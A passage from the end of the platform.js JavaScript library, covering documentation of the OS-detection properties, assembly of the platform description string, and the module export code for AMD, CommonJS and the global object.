1185 | * The family of the OS.
1186 | *
1187 | * Common values include:
1188 | * "Windows", "Windows Server 2008 R2 / 7", "Windows Server 2008 / Vista",
1189 | * "Windows XP", "OS X", "Linux", "Ubuntu", "Debian", "Fedora", "Red Hat",
1190 | * "SuSE", "Android", "iOS" and "Windows Phone"
1191 | *
1192 | * @memberOf platform.os
1193 | * @type string|null
1194 | */
1195 | 'family': null,
1196 |
1197 | /**
1198 | * The version of the OS.
1199 | *
1200 | * @memberOf platform.os
1201 | * @type string|null
1202 | */
1203 | 'version': null,
1204 |
1205 | /**
1206 | * Returns the OS string.
1207 | *
1208 | * @memberOf platform.os
1209 | * @returns {string} The OS string.
1210 | */
1211 | 'toString': function() { return 'null'; }
1212 | };
1213 |
1214 | platform.parse = parse;
1215 | platform.toString = toStringPlatform;
1216 |
1217 | if (platform.version) {
1218 | description.unshift(version);
1219 | }
1220 | if (platform.name) {
1221 | description.unshift(name);
1222 | }
1223 | if (os && name && !(os == String(os).split(' ')[0] && (os == name.split(' ')[0] || product))) {
1224 | description.push(product ? '(' + os + ')' : 'on ' + os);
1225 | }
1226 | if (description.length) {
1227 | platform.description = description.join(' ');
1228 | }
1229 | return platform;
1230 | }
1231 |
1232 | /*--------------------------------------------------------------------------*/
1233 |
1234 | // Export platform.
1235 | var platform = parse();
1236 |
1237 | // Some AMD build optimizers, like r.js, check for condition patterns like the following:
1238 | if (typeof define == 'function' && typeof define.amd == 'object' && define.amd) {
1239 | // Expose platform on the global object to prevent errors when platform is
1240 | // loaded by a script tag in the presence of an AMD loader.
1241 | // See http://requirejs.org/docs/errors.html#mismatch for more details.
1242 | root.platform = platform;
1243 |
1244 | // Define as an anonymous module so platform can be aliased through path mapping.
1245 | define(function() {
1246 | return platform;
1247 | });
1248 | }
1249 | // Check for `exports` after `define` in case a build optimizer adds an `exports` object.
1250 | else if (freeExports && freeModule) {
1251 | // Export for CommonJS support.
1252 | forOwn(platform, function(value, key) {
1253 | freeExports[key] = value;
1254 | });
1255 | }
1256 | else {
1257 | // Export to the global object.
1258 | root.platform = platform;
1259 | }
1260 | }.call(this));
--------------------------------------------------------------------------------